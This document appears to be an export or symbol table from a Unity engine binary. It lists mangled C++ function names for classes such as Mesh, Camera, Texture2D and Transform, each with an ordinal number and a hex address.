?GetIndices@Mesh@@QBEXAAV?$vector@IV?$stl_allocator@I$0FO@$0BA@@@@std@@I@Z	1227	0x4cac50
?GetInputManager@@YAAAVInputManager@@XZ	1228	0x590a90
?GetInstanceID@Object@@QBEHXZ	1229	0x401000
?GetInstanceIDFromScriptingWrapper@Scripting@@YAHPAUMonoObject@@@Z	1230	0x54d720
?GetInstantiatedMaterial@Material@Unity@@SAAAV12@PAV12@AAVObject@@_N@Z	1231	0x6481f0
?GetInstantiatedMesh@Mesh@@SAAAV1@PAV1@AAVObject@@@Z	1232	0x4cda20
?GetInstantiatedMesh@MeshFilter@@QAEPAVMesh@@XZ	1233	0x4d27a0
?GetInt64At@ScriptingArguments@@QAE_JH@Z	1234	0x607840
?GetIntAt@ScriptingArguments@@QAEHH@Z	1235	0x964380
?GetIntermediateRenderers@Camera@@QAEAAVIntermediateRenderers@@XZ	1236	0x417d00
?GetInternalMeshID@Mesh@@QBEIXZ	1237	0x4459b0
?GetIsPowerOfTwo@RenderTexture@@QBE_NXZ	1238	0x4184a0
?GetIsReadable@Mesh@@QBE_NXZ	1239	0x4bf5f0
?GetIsReadable@Texture2D@@QBE_NXZ	1240	0x4179b0
?GetIsStaticDeprecated@GameObject@Unity@@QAE_NXZ	1241	0xd153d0
?GetIsUploaded@Texture2D@@QBE_NXZ	1242	0x417990
?GetJobGroupID@JobQueue@@QAE?AUJobGroupID@@PAVJobGroup@@@Z	1243	0x652ff0
?GetJobQueue@@YAAAVJobQueue@@XZ	1244	0x653210
?GetKeepIndices@Mesh@@QBE_NXZ	1245	0x445900
?GetKeepVertices@Mesh@@QBE_NXZ	1246	0x4458e0
?GetKey@?$AnimationCurveTpl@M@@QAEAAU?$KeyframeTpl@M@@H@Z	1247	0x5a8ab0
?GetKey@?$AnimationCurveTpl@M@@QBEABU?$KeyframeTpl@M@@H@Z	1248	0x5a8ab0
?GetKey@?$AnimationCurveTpl@VQuaternionf@@@@QAEAAU?$KeyframeTpl@VQuaternionf@@@@H@Z	1249	0x4bb7f0
?GetKey@?$AnimationCurveTpl@VQuaternionf@@@@QBEABU?$KeyframeTpl@VQuaternionf@@@@H@Z	1250	0x4bb7f0
?GetKey@?$AnimationCurveTpl@VVector3f@@@@QAEAAU?$KeyframeTpl@VVector3f@@@@H@Z	1251	0x84e540
?GetKey@?$AnimationCurveTpl@VVector3f@@@@QBEABU?$KeyframeTpl@VVector3f@@@@H@Z	1252	0x84e540
?GetKeyCount@?$AnimationCurveTpl@M@@QBEHXZ	1253	0x6d02d0
?GetKeyCount@?$AnimationCurveTpl@VQuaternionf@@@@QBEHXZ	1254	0x4bb810
?GetKeyCount@?$AnimationCurveTpl@VVector3f@@@@QBEHXZ	1255	0x5a8cf0
?GetLODGroup@Renderer@@QAEPAVLODGroup@@XZ	1256	0x4178c0
?GetLastLightProbeTetIndex@BaseRenderer@@QAEAAHXZ	1257	0x417720
?GetLateBehaviourManager@@YAAAVBaseBehaviourManager@@XZ	1258	0x523210
?GetLayer@GameObject@Unity@@QBEHXZ	1259	0x40d360
?GetLayer@IntermediateRenderer@@UBEHXZ	1260	0x4b1d40
?GetLayer@Renderer@@UBEHXZ	1261	0x512d40
?GetLayerCullDistances@Camera@@QBEPBMXZ	1262	0x417da0
?GetLayerCullSpherical@Camera@@QBE_NXZ	1263	0x417dd0
?GetLayerMask@BaseRenderer@@QBEIXZ	1264	0x417630
?GetLayerMask@GameObject@Unity@@QBEIXZ	1265	0x4069f0
?GetLayerMask@IntermediateRenderer@@UBEIXZ	1266	0x4530c0
?GetLightProbeInterpolationPosition@Renderer@@QAE?AVVector3f@@XZ	1267	0x513e00
?GetLightProbeMode@BaseRenderer@@QBE?AW4LightProbeMode@@XZ	1268	0x575d90
?GetLightmapIndex@BaseRenderer@@QBEGW4LightmapType@@@Z	1269	0x417680
?GetLightmapIndexInt@BaseRenderer@@QBEHW4LightmapType@@@Z	1270	0x452dc0
?GetLightmapIndices@BaseRenderer@@QBE?AULightmapIndices@@XZ	1271	0x417670
?GetLightmapST@BaseRenderer@@QBEABVVector4f@@W4LightmapType@@@Z	1272	0x417690
?GetLightmapSTArray@BaseRenderer@@QBEPBVVector4f@@XZ	1273	0x4176a0
?GetLinearFogEnd@RenderSettings@@QBEMXZ	1274	0x43fdc0
?GetLinearFogStart@RenderSettings@@QBEMXZ	1275	0x43fdb0
?GetLiveRenderTextureCount@RenderTexture@@SAIXZ	1276	0x516350
?GetLoadedObjectCount@Object@@SAIXZ	1277	0x407df0
?GetLocalAABB@BaseRenderer@@QAEXAAVAABB@@@Z	1278	0x452d20
?GetLocalAABB@Mesh@@QBEABVAABB@@XZ	1279	0x445970
?GetLocalEulerAngles@Transform@@QAE?AVVector3f@@XZ	1280	0x56b1c0
?GetLocalPosition@Transform@@QBE?AVVector3f@@XZ	1281	0x40e3d0
?GetLocalRotation@Transform@@QBE?AVQuaternionf@@XZ	1282	0x91bc10
?GetLocalScale@Transform@@QBE?AVVector3f@@XZ	1283	0x40e3f0
?GetLocalToWorldMatrix@Renderer@@QBE?AVMatrix4x4f@@XZ	1284	0x513fc0
?GetLocalToWorldMatrix@Transform@@QBE?AVMatrix4x4f@@XZ	1285	0x56ce80
?GetLocalToWorldMatrixNoScale@Transform@@QBE?AVMatrix4x4f@@XZ	1286	0x56ce50
?GetLocalToWorldMatrixNoScale@Transform@@QBEABVMatrix4x4f@@AAV2@@Z	1287	0x56ce50
?GetManagerFromContext@@YAAAVObject@@H@Z	1288	0x412fd0
?GetManagerPtrFromContext@@YAPAVObject@@H@Z	1289	0x412fd0
?GetMasterTextureLimit@Texture@@SAHXZ	1290	0x55f5f0
?GetMaterial@IntermediateRenderer@@UBE?AV?$PPtr@VMaterial@Unity@@@@H@Z	1291	0x454060
?GetMaterial@Renderer@@UBE?AV?$PPtr@VMaterial@Unity@@@@H@Z	1292	0x418360
?GetMaterialArray@Renderer@@QBEABU?$dynamic_array@V?$PPtr@VMaterial@Unity@@@@$03@@XZ	1293	0x445840
?GetMaterialCount@IntermediateRenderer@@UBEHXZ	1294	0x6a2f50
?GetMaterialCount@Renderer@@UBEHXZ	1295	0x93bc20
?GetMatrix@Material@Unity@@QAEABVMatrix4x4f@@UFastPropertyName@ShaderLab@@@Z	1296	0x646f30
?GetMemoryLabel@Object@@QBE?AUMemLabelId@@XZ	1297	0x406dc0
?GetMemoryLabel@TransferBase@@QBE?AUMemLabelId@@XZ	1298	0x406790
?GetMemoryLabelIdentifier@Object@@QBE?AW4MemLabelIdentifier@@XZ	1299	0x405b50
?GetMesh@IntermediateRenderer@@UAEPAVMesh@@XZ	1300	0xf35de0
?GetMesh@MeshIntermediateRenderer@@UAEPAVMesh@@XZ	1301	0xc6c060
?GetMesh@SkinnedMeshRenderer@@QAEPAVMesh@@XZ	1302	0x419e70
?GetMeshBuffers@Mesh@@QAE_NAAUMeshBuffers@@IPAV1@_N@Z	1303	0x4c44a0
?GetMeshCompression@Mesh@@QBEEXZ	1304	0x4458b0
?GetMeshIDSmall@BaseRenderer@@UBEIXZ	1305	0xf35de0
?GetMeshUsageFlags@Mesh@@QBEHXZ	1306	0x40d360
?GetMeshVertexFormat@Mesh@@QBEPAVMeshVertexFormat@@XZ	1307	0x417900
?GetMessageHandler@GameObject@Unity@@SAAAVMessageHandler@@XZ	1308	0x40e5a0
?GetMipMap@RenderTexture@@QBE_NXZ	1309	0xc02860
?GetMipMapBias@Texture@@QBEMXZ	1310	0x40d370
?GetMonoBehaviourInConstructor@@YAHXZ	1311	0x543940
?GetMonoClass@MonoManager@@QAEPAUMonoClass@@PBD0@Z	1312	0x546320
?GetMonoClassCaseInsensitive@MonoManager@@QAEPAUMonoClass@@PBD0@Z	1313	0x5462d0
?GetMonoClassWithAssemblyName@MonoManager@@QAEPAUMonoClass@@ABV?$basic_string@DU?$char_traits@D@std@@V?$stl_allocator@D$0DL@$0BA@@@@std@@00@Z	1314	0x546740
?GetMonoClassesCaseInsensitive@MonoManager@@QAE?AV?$vector@PAUMonoClass@@V?$allocator@PAUMonoClass@@@std@@@std@@PBD@Z	1315	0x5472c0
?GetMonoManager@@YAAAVMonoManager@@XZ	1316	0x545c20
?GetMonoScriptCache@ScriptingManager@@QAEPAUMonoScriptCache@@ABVUnityStr@@@Z	1317	0x551010
?GetMonoScriptCache@ScriptingManager@@QAEPAUMonoScriptCache@@I@Z	1318	0x550df0
?GetMonoScriptManager@ScriptingManager@@QAEAAVMonoScriptManager@@XZ	1319	0x43fcf0
?GetName@Component@Unity@@UBEPBDXZ	1320	0x40ed00
?GetName@GameObject@Unity@@UBEPBDXZ	1321	0x5b1120
?GetName@GlobalGameManager@@UBEPBDXZ	1322	0x40de50
?GetName@LevelGameManager@@UBEPBDXZ	1323	0x409b10
?GetName@NamedObject@@UBEPBDXZ	1324	0xc68860
?GetName@Object@@UBEPBDXZ	1325	0x405a60
?GetNativeTextureID@Texture@@QAEIXZ	1326	0x55f620
?GetNativeTexturePtr@Texture@@QAEPAXXZ	1327	0x55f600
?GetNear@Camera@@QBEMXZ	1328	0x417b80
?GetNeedsPerObjectTypeTree@Object@@UBE_NXZ	1329	0xd153d0
?GetNewInstanceIDforOldInstanceID@RemapPPtrTransfer@@QAEHH@Z	1330	0x4067e0
?GetNext@ListElement@@QBEPAV1@XZ	1331	0x401000
?GetNormalBegin@Mesh@@QBE?AV?$StrideIterator@VVector3f@@@@XZ	1332	0x446840
?GetNormalEnd@Mesh@@QBE?AV?$StrideIterator@VVector3f@@@@XZ	1333	0x446890
?GetNormalizedViewportRect@Camera@@QBE?AV?$RectT@M@@XZ	1334	0x417c10
?GetObjectAt@ScriptingArguments@@QAEPAUMonoObject@@H@Z	1335	0x607870
?GetObjectUserList@Mesh@@QBEABV?$List@V?$ListNode@VObject@@@@@@XZ	1336	0x445840
?GetOpaqueSortMode@Camera@@QBE?AW4OpaqueSortMode@1@XZ	1337	0x417df0
?GetOptBones@SkinnedMeshRenderer@@QAEABUOptBones@1@XZ	1338	0x4b8d80
?GetOptBonesWritable@SkinnedMeshRenderer@@IAEAAUOptBones@1@XZ	1339	0x4b6e30
?GetOrder@Transform@@QBEHXZ	1340	0x56a9b0
?GetOrthographic@Camera@@QBE_NXZ	1341	0x417bf0
?GetOrthographicSize@Camera@@QBEMXZ	1342	0x417be0
?GetOverrideTag@Material@Unity@@QBEHH@Z	1343	0x644d60
?GetOwner@Material@Unity@@QAE?AV?$PPtr@VObject@@@@XZ	1344	0x418520
?GetOwner@Mesh@@QBEPAVObject@@XZ	1345	0x447240
?GetPPtrTypeString@Behaviour@@SAPBDXZ	1346	0x40c980
?GetPPtrTypeString@Camera@@SAPBDXZ	1347	0x417a90
?GetPPtrTypeString@Component@Unity@@SAPBDXZ	1348	0x406a70
?GetPPtrTypeString@EditorExtension@@SAPBDXZ	1349	0x406880
?GetPPtrTypeString@GameManager@@SAPBDXZ	1350	0x4068b0
?GetPPtrTypeString@GameObject@Unity@@SAPBDXZ	1351	0x406970
?GetPPtrTypeString@GlobalGameManager@@SAPBDXZ	1352	0x4068f0
?GetPPtrTypeString@LevelGameManager@@SAPBDXZ	1353	0x4068d0
?GetPPtrTypeString@Material@Unity@@SAPBDXZ	1354	0x417f60
?GetPPtrTypeString@Mesh@@SAPBDXZ	1355	0x4457c0
?GetPPtrTypeString@MeshFilter@@SAPBDXZ	1356	0x4d2380
?GetPPtrTypeString@MonoManager@@SAPBDXZ	1357	0x406920
?GetPPtrTypeString@NamedObject@@SAPBDXZ	1358	0x40d1e0
?GetPPtrTypeString@Object@@SAPBDXZ	1359	0x405b80
?GetPPtrTypeString@RenderSettings@@SAPBDXZ	1360	0x43fc60
?GetPPtrTypeString@RenderTexture@@SAPBDXZ	1361	0x417920
?GetPPtrTypeString@Renderer@@SAPBDXZ	1362	0x417820
?GetPPtrTypeString@ScriptMapper@@SAPBDXZ	1363	0x4459d0
?GetPPtrTypeString@SkinnedMeshRenderer@@SAPBDXZ	1364	0x4b66a0
?GetPPtrTypeString@SparseTexture@@SAPBDXZ	1365	0x565b30
?GetPPtrTypeString@Texture2D@@SAPBDXZ	1366	0x40d470
?GetPPtrTypeString@Texture@@SAPBDXZ	1367	0x40d2f0
?GetPPtrTypeString@Transform@@SAPBDXZ	1368	0x40e360
?GetParent@Transform@@QBEPAV1@XZ	1369	0xdacf10
?GetParentPtrInternal@Transform@@QAEAAV?$ImmediatePtr@VTransform@@@@XZ	1370	0x40e420
?GetPassCount@Material@Unity@@QAEHXZ	1371	0x645c20
?GetPhysicalViewportRect@Camera@@QBE?AV?$RectT@M@@XZ	1372	0x417c60
?GetPixel@Texture2D@@QBE?AVColorRGBAf@@HHH@Z	1373	0x561760
?GetPixelBilinear@Texture2D@@QBE?AVColorRGBAf@@HMM@Z	1374	0x561860
?GetPixels32@Texture2D@@QBE_NHPAVColorRGBA32@@H@Z	1375	0x561cb0
?GetPixels@Texture2D@@QBE_NHHHHHPAVColorRGBA32@@H@Z	1376	0x561b10
?GetPixels@Texture2D@@QBE_NHHHHHPAVColorRGBAf@@H@Z	1377	0x561970
?GetPosition@?$RectT@M@@QBE?AVVector2f@@XZ	1378	0x55b250
?GetPosition@Camera@@QBE?AVVector3f@@XZ	1379	0x4554d0
?GetPosition@Matrix4x4f@@QBE?AVVector3f@@XZ	1380	0x405e50
?GetPosition@Transform@@QBE?AVVector3f@@XZ	1381	0x567eb0
?GetPositionAndRotation@Transform@@QBEXAAVVector3f@@AAVQuaternionf@@@Z	1382	0x5683b0
?GetPositionAndRotationWithTransformType@Transform@@QBE?AW4TransformType@@AAVVector3f@@AAVQuaternionf@@@Z	1383	0x5688d0
?GetPostInfinity@?$AnimationCurveTpl@M@@QBEHXZ	1384	0x5a8260
?GetPostInfinity@?$AnimationCurveTpl@VQuaternionf@@@@QBEHXZ	1385	0x5a8570
?GetPostInfinity@?$AnimationCurveTpl@VVector3f@@@@QBEHXZ	1386	0x5a8460
?GetPostInfinityInternal@?$AnimationCurveTpl@VQuaternionf@@@@QBEHXZ	1387	0x4bb330
?GetPreInfinity@?$AnimationCurveTpl@M@@QBEHXZ	1388	0x5a81f0
?GetPreInfinity@?$AnimationCurveTpl@VQuaternionf@@@@QBEHXZ	1389	0x5a8500
?GetPreInfinity@?$AnimationCurveTpl@VVector3f@@@@QBEHXZ	1390	0x5a83f0
?GetPreInfinityInternal@?$AnimationCurveTpl@VQuaternionf@@@@QBEHXZ	1391	0x575d70
?GetPreferredTexCoordChannel@Mesh@@QBE?AW4ShaderChannel@@W42@@Z	1392	0x4c02e0
?GetPrev@ListElement@@QBEPAV1@XZ	1393	0x445740
?GetPrimitiveCount@Mesh@@QBEHXZ	1394	0x4bfac0
?GetPriority@Thread@@QBE?AW4ThreadPriority@@XZ	1395	0x96f5f0
?GetProbeAnchor@BaseRenderer@@QBEABV?$PPtr@VTransform@@@@XZ	1396	0x417710
?GetProcessorCount@systeminfo@@YAHXZ	1397	0x4308c0
?GetProjectionFar@Camera@@QBEMXZ	1398	0x4557a0
?GetProjectionMatrix@Camera@@QBEABVMatrix4x4f@@XZ	1399	0x453620
?GetProjectionNear@Camera@@QBEMXZ	1400	0x4556a0
?GetProperties@Material@Unity@@QAEABVPropertySheet@ShaderLab@@XZ	1401	0x4184e0
?GetPropertiesBegin@MaterialPropertyBlock@@QBEPBUProperty@1@XZ	1402	0x445740
?GetPropertiesEnd@MaterialPropertyBlock@@QBEPBUProperty@1@XZ	1403	0x4181a0
?GetPropertyBlock@Renderer@@QAEXAAVMaterialPropertyBlock@@@Z	1404	0x513570
?GetPropertyBlockRememberToUpdateHash@Renderer@@QAEAAVMaterialPropertyBlock@@XZ	1405	0x513320
?GetPropertyIndex@MaterialPropertyBlock@@QBEHABUFastPropertyName@ShaderLab@@@Z	1406	0x64a970
?GetPtr@Matrix3x3f@@QAEPAMXZ	1407	0x5e3e90
?GetPtr@Matrix3x3f@@QBEPBMXZ	1408	0x5e3e90
?GetPtr@Matrix4x4f@@QAEPAMXZ	1409	0x5e3e90
?GetPtr@Matrix4x4f@@QBEPBMXZ	1410	0x5e3e90
?GetQuality@SkinnedMeshRenderer@@QAEHXZ	1411	0x4b6710
?GetRange@?$AnimationCurveTpl@M@@QBE?AU?$pair@MM@std@@XZ	1412	0x5ac960
?GetRange@?$AnimationCurveTpl@VQuaternionf@@@@QBE?AU?$pair@MM@std@@XZ	1413	0x5acf60
?GetRange@?$AnimationCurveTpl@VVector3f@@@@QBE?AU?$pair@MM@std@@XZ	1414	0x5acc50
?GetRawImageDataSize@Texture2D@@QBEHXZ	1415	0x40d4f0
?GetRaycastInterface@@YAPAVIRaycast@@XZ	1416	0x59ae10
?GetReceiveShadows@BaseRenderer@@QBE_NXZ	1417	0x417660
?GetReflectionBounces@RenderSettings@@QBEHXZ	1418	0x867cf0
?GetReflectionIntensity@RenderSettings@@QBEMXZ	1419	0x43fd70
?GetReflectionProbeUsage@BaseRenderer@@QBE?AW4ReflectionProbeUsage@@XZ	1420	0xbf9030
?GetRenderImmediateObjects@Camera@@QBE_NXZ	1421	0xd153d0
?GetRenderRectangle@Camera@@QBE?AV?$RectT@M@@XZ	1422	0x4589a0
?GetRenderSettings@@YAAAVRenderSettings@@XZ	1423	0x489300
?GetRendererType@BaseRenderer@@QBE?AW4RendererType@@XZ	1424	0x417620
?GetRenderingPath@Camera@@QBE?AW4RenderingPath@@XZ	1425	0x417bd0
?GetReplacementShader@Camera@@QBEPAVShader@@XZ	1426	0x419e60
?GetReplacementShaderTag@Camera@@QBE?AV?$basic_string@DU?$char_traits@D@std@@V?$stl_allocator@D$0DL@$0BA@@@@std@@XZ	1427	0x419080
?GetResolvedColorSurfaceHandle@RenderTexture@@QAE?AU?$ObjectHandle@URenderSurface_Tag@@PAURenderSurfaceBase@@@@XZ	1428	0x417a30
?GetRight@?$RectT@H@@QBEHXZ	1429	0x97e6d0
?GetRight@?$RectT@M@@QBEMXZ	1430	0x43cba0
?GetRoot@Transform@@QAEAAV1@XZ	1431	0x56a9f0
?GetRootBone@SkinnedMeshRenderer@@QAEPAVTransform@@XZ	1432	0x4b6b00
?GetRootBonePathHash@Mesh@@QBEIXZ	1433	0x40e830
?GetRootHeader@MemLabelId@@QBEPAUProfilerAllocationHeader@@XZ	1434	0xf35de0
?GetRotation@Transform@@QBE?AVQuaternionf@@XZ	1435	0x568200
?GetRow@Matrix4x4f@@QBE?AVVector4f@@H@Z	1436	0x405e70
?GetRuntimeMemorySize@Material@Unity@@UBEHXZ	1437	0x643f20
?GetRuntimeMemorySize@Mesh@@UBEHXZ	1438	0x6c6ba0
?GetRuntimeMemorySize@Object@@UBEHXZ	1439	0xf35de0
?GetRuntimeMemorySize@RenderTexture@@UBEHXZ	1440	0x515a30
?GetRuntimeMemorySize@Texture2D@@UBEHXZ	1441	0x560b20
?GetSRGBReadWrite@RenderTexture@@QBE_NXZ	1442	0x4179a0
?GetSampleOnlyDepth@RenderTexture@@QBE_NXZ	1443	0x4179f0
?GetSavedProperties@Material@Unity@@QAEAAVUnityPropertySheet@@XZ	1444	0x418020
?GetSavedProperties@Material@Unity@@QBEABVUnityPropertySheet@@XZ	1445	0x418020
?GetSceneHandle@Renderer@@QAEHXZ	1446	0x4178d0
?GetScreenReadAllowed@Texture2D@@SA_NXZ	1447	0x40d550
?GetScreenViewportRect@Camera@@QBE?AV?$RectT@M@@XZ	1448	0x417c40
?GetScreenViewportRectInt@Camera@@QBE?AV?$RectT@H@@XZ	1449	0x458150
?GetScriptingManager@@YAAAVScriptingManager@@XZ	1450	0x545c20
?GetScriptingRand@@YAAAVRand@@XZ	1451	0x59b540
?GetSecondaryTextureID@RenderTexture@@QAEABUTextureID@@XZ	1452	0x417a70
?GetSecurityPolicyAllowAccess@Texture2D@@QBE_NXZ	1453	0x4179c0
?GetSeed@Rand@@QBEIXZ	1454	0x445740
?GetSettings@Texture@@QAEAAUTextureSettings@@XZ	1455	0x40d380
?GetSettings@Texture@@QBEABUTextureSettings@@XZ	1456	0x40d380
?GetShader@Material@Unity@@QAEPAVShader@@XZ	1457	0x645b40
?GetShader@Material@Unity@@QBEPBVShader@@XZ	1458	0x645b40
?GetShaderKeywordNames@Material@Unity@@QBEXAAV?$vector@V?$basic_string@DU?$char_traits@D@std@@V?$stl_allocator@D$0DL@$0BA@@@@std@@V?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$stl_allocator@D$0DL@$0BA@@@@std@@@2@@std@@@Z	1459	0x643f80
?GetShaderKeywordSet@Material@Unity@@QBE?AUShaderKeywordSet@@XZ	1460	0x417ff0
?GetShaderKeywords@Material@Unity@@QBEABVUnityStr@@XZ	1461	0x445940
?GetShaderPPtr@Material@Unity@@QBE?AV?$PPtr@VShader@@@@XZ	1462	0x644040
?GetShadowCasterHash@Material@Unity@@QAEIXZ	1463	0x418060
?GetShadowCastingMode@BaseRenderer@@QBE?AW4ShadowCastingMode@@XZ	1464	0x417650
?GetSharedMesh@MeshFilter@@QAE?AV?$PPtr@VMesh@@@@XZ	1465	0x644040
?GetSharedNxConvexMesh@CollisionMeshData@@QAEPAXAAVMesh@@@Z	1466	0x4b1700
?GetSharedNxMesh@CollisionMeshData@@QAEPAXAAVMesh@@@Z	1467	0x4b16c0
?GetSharedPxConvexMesh@Mesh@@QAEPAXXZ	1468	0x4bf730
?GetSharedPxMesh@Mesh@@QAEPAXXZ	1469	0x4bf720
?GetShouldUseOpaqueDepthSorting@Camera@@QBE_NXZ	1470	0x417e10
?GetSignedFloat@Rand@@QAEMXZ	1471	0x49ce90
?GetSize@?$RectT@M@@QBE?AVVector2f@@XZ	1472	0x4694c0
?GetSize@UserList@@QBEIXZ	1473	0xba8df0
?GetSkin@Mesh@@QAEAAU?$dynamic_array@UBoneInfluence@@$0BA@@@XZ	1474	0x445960
?GetSkin@Mesh@@QBEABU?$dynamic_array@UBoneInfluence@@$0BA@@@XZ	1475	0x445960
?GetSkinInfluence@Mesh@@QAEPBXH@Z	1476	0x4c4600
?GetSkinnedMeshLocalAABB@SkinnedMeshRenderer@@QAEXAAVAABB@@@Z	1477	0x4b6f70
?GetSkyboxMaterial@Camera@@QBEPAVMaterial@Unity@@XZ	1478	0x457c80
?GetSkyboxMaterial@RenderSettings@@QBEPAVMaterial@Unity@@XZ	1479	0x443220
?GetSkyboxProjectionMatrix@Camera@@QBEXMAAVMatrix4x4f@@@Z	1480	0x453720
?GetSortingFudge@BaseRenderer@@UBEMXZ	1481	0x518f90
?GetSortingLayerID@Renderer@@QBEHXZ	1482	0x417900
?GetSortingLayerName@Renderer@@QBE?AV?$basic_string@DU?$char_traits@D@std@@V?$stl_allocator@D$0DL@$0BA@@@@std@@XZ	1483	0x513a70
?GetSortingOrder@Renderer@@QBEFXZ	1484	0x417910
?GetSpecifiedLightProbeIndex@BaseRenderer@@QBEHXZ	1485	0x417730
?GetStateKeyHash@Material@Unity@@QAEIXZ	1486	0x418030
?GetStaticBatchIndex@BaseRenderer@@UBEHXZ	1487	0xf35de0
?GetStaticBatchRoot@Renderer@@QBE?AV?$PPtr@VTransform@@@@XZ	1488	0x4183b0
?GetStereoConvergence@Camera@@QBEMXZ	1489	0x417f00
?GetStereoEnabled@Camera@@QBE_NXZ	1490	0x457cc0
?GetStereoEyeBegin@Camera@@ABE?AW4StereoscopicEye@@XZ	1491	0x453550
?GetStereoEyeEnd@Camera@@ABE?AW4StereoscopicEye@@XZ	1492	0x453570
?GetStereoMirrorMode@Camera@@QBE_NXZ	1493	0x417eb0
?GetStereoSeparation@Camera@@QBEMXZ	1494	0x417ed0
?GetStoredColorSpace@Texture@@QBE?AW4TextureColorSpace@@XZ	1495	0x5b1120
?GetStride@Mesh@@QBEIW4ShaderChannel@@@Z	1496	0x445f20
?GetStringAt@ScriptingArguments@@QAEPBXH@Z	1497	0x607870
?GetSubMesh@Mesh@@QAEAAUSubMesh@@H@Z	1498	0x446080
?GetSubMeshBuffer16@Mesh@@QAEPAGH@Z	1499	0x4bf9e0
?GetSubMeshBuffer16@Mesh@@QBEPBGH@Z	1500	0x4bf9e0
?GetSubMeshBufferByteSize@Mesh@@QBEHH@Z	1501	0x4460d0
?GetSubMeshCount@Mesh@@QBEIXZ	1502	0x4bfaa0
?GetSubMeshDrawBuffersRange@Mesh@@QBE?AUDrawBuffersRange@@H_N@Z	1503	0x4bfa20
?GetSubMeshFast@Mesh@@QAEAAUSubMesh@@I@Z	1504	0x446020
?GetSubMeshFast@Mesh@@QBEABUSubMesh@@I@Z	1505	0x446020
?GetSubMeshIndex@Mesh@@QBEHH@Z	1506	0x446040
?GetSubMeshes@Mesh@@QAEAAV?$vector@USubMesh@@V?$stl_allocator@USubMesh@@$09$0BA@@@@std@@XZ	1507	0xc02870
?GetSubMeshes@Mesh@@QBEABV?$vector@USubMesh@@V?$stl_allocator@USubMesh@@$09$0BA@@@@std@@XZ	1508	0xc02870
?GetSubsetIndex@BaseRenderer@@UBEHH@Z	1509	0x8cbc80
?GetSubsetIndex@MeshIntermediateRenderer@@UBEHH@Z	1510	0x4530e0
?GetSubsetIndex@Renderer@@UBEHH@Z	1511	0x418380
?GetSubsetIndices@Renderer@@QBEABU?$dynamic_array@I$03@@XZ	1512	0x417870
?GetSun@RenderSettings@@QBEPBVLight@@XZ	1513	0x48ab90
?GetSuperClassID@Object@@SAHH@Z	1514	0x4094f0
?GetSupportedMessages@GameObject@Unity@@QAEIXZ	1515	0x60bfe0
?GetSupportedMessagesRecalculate@GameObject@Unity@@AAEXXZ	1516	0x40ea50
?GetSupportedMipMapFlag@RenderTexture@@ABE_N_N@Z	1517	0x5156c0
?GetSystemAssemblyMask@MonoManager@@QAE?AVdynamic_bitset@@_N@Z	1518	0x545e60
?GetTag@GameObject@Unity@@QBEIXZ	1519	0x406a00
?GetTag@Material@Unity@@QBE?AV?$basic_string@DU?$char_traits@D@std@@V?$stl_allocator@D$0DL@$0BA@@@@std@@ABV34@_N0@Z	1520	0x646380
?GetTag@Material@Unity@@QBEHH_N@Z	1521	0x645b60
?GetTangentBegin@Mesh@@QBE?AV?$StrideIterator@VVector4f@@@@XZ	1522	0x446a90
?GetTangentEnd@Mesh@@QBE?AV?$StrideIterator@VVector4f@@@@XZ	1523	0x446ae0
?GetTarget@UserListBase@@QAEPAVObject@@XZ	1524	0x445740
?GetTargetColorBuffer@Camera@@QBE?AU?$ObjectHandle@URenderSurface_Tag@@PAURenderSurfaceBase@@@@XZ	1525	0x4d6a70
?GetTargetDepthBuffer@Camera@@QBE?AU?$ObjectHandle@URenderSurface_Tag@@PAURenderSurfaceBase@@@@XZ	1526	0x417d80
?GetTargetDisplay@Camera@@QBEIXZ	1527	0x417f40
?GetTargetTexture@Camera@@QBEPAVRenderTexture@@XZ	1528	0x419e70
?GetTemporaryFlags@Object@@QBEHXZ	1529	0x405b10
?GetTemporarySettings@Camera@@QBEXAAUCameraTemporarySettings@@@Z	1530	0x453c50
?GetTexCoordChannelForAlbedo@Mesh@@QBE?AW4ShaderChannel@@XZ	1531	0x445850
?GetTexCoordChannelForBakedGI@Mesh@@QBE?AW4ShaderChannel@@XZ	1532	0x445860
?GetTexCoordChannelForRealtimeGI@Mesh@@QBE?AW4ShaderChannel@@XZ	1533	0x445870
?GetTexelSizeX@Texture@@QBEMXZ	1534	0x40d3c0
?GetTexelSizeY@Texture@@QBEMXZ	1535	0xd15380
?GetTexture@Material@Unity@@QAEPAVTexture@@UFastPropertyName@ShaderLab@@@Z	1536	0x646ff0
?GetTextureDataMemoryLabel@Texture2D@@ABE?AUMemLabelId@@XZ	1537	0x40d3f0
?GetTextureFormat@Texture2D@@QBE?AW4TextureFormat@@XZ	1538	0x40d510
?GetTextureID@Texture@@QBE?AUTextureID@@XZ	1539	0x40d300
?GetTextureOffset@Material@Unity@@QAE?AVVector2f@@UFastPropertyName@ShaderLab@@@Z	1540	0x6476a0
?GetTextureScale@Material@Unity@@QAE?AVVector2f@@UFastPropertyName@ShaderLab@@@Z	1541	0x647730
?GetTextureSubtarget@MobileBuildSubTarget@@QBE?AW4MobileTextureSubtarget@@XZ	1542	0x4059d0
?GetThreadCount@JobQueue@@QBEIXZ	1543	0xdb6d10
?GetThreadRunningTime@Thread@@SANK@Z	1544	0x654220
?GetTileHeight@SparseTexture@@QBEHXZ	1545	0x417a00
?GetTileWidth@SparseTexture@@QBEHXZ	1546	0x565b40
?GetTimeManager@@YAAAVTimeManager@@XZ	1547	0x598880
?GetTopologyMask@Mesh@@QBEIXZ	1548	0x4bfd30
?GetTotalIndexCount@Mesh@@QBEHXZ	1549	0x4bfa90
?GetTransferFileInfo@ProxyTransfer@@QBE_NPAIPAPBD@Z	1550	0x6568a0
?GetTransform@Renderer@@QAEAAVTransform@@XZ	1551	0x513f10
?GetTransform@Renderer@@QBEABVTransform@@XZ	1552	0x513f10
?GetTransformDepth@@YAHAAVTransform@@@Z	1553	0x56aa40
?GetTransformInfo@BaseRenderer@@QAEABUTransformInfo@@XZ	1554	0x4177e0
?GetTransformInfoDoNotUpdate@BaseRenderer@@QBEABUTransformInfo@@XZ	1555	0x4175f0
?GetTransparencySortMode@Camera@@QBE?AW4TransparencySortMode@1@XZ	1556	0x417e30
?GetTriangles@Mesh@@QBEXAAV?$vector@IV?$stl_allocator@I$0FO@$0BA@@@@std@@@Z	1557	0x4cc250
?GetTriangles@Mesh@@QBEXAAV?$vector@IV?$stl_allocator@I$0FO@$0BA@@@@std@@I@Z	1558	0x4cc320
?GetTypeAt@ScriptingArguments@@QAEHH@Z	1559	0x607890
?GetTypeString@?$AnimationCurveTpl@M@@SAPBDXZ	1560	0x5e4860
?GetTypeString@?$AnimationCurveTpl@VQuaternionf@@@@SAPBDXZ	1561	0x5e4860
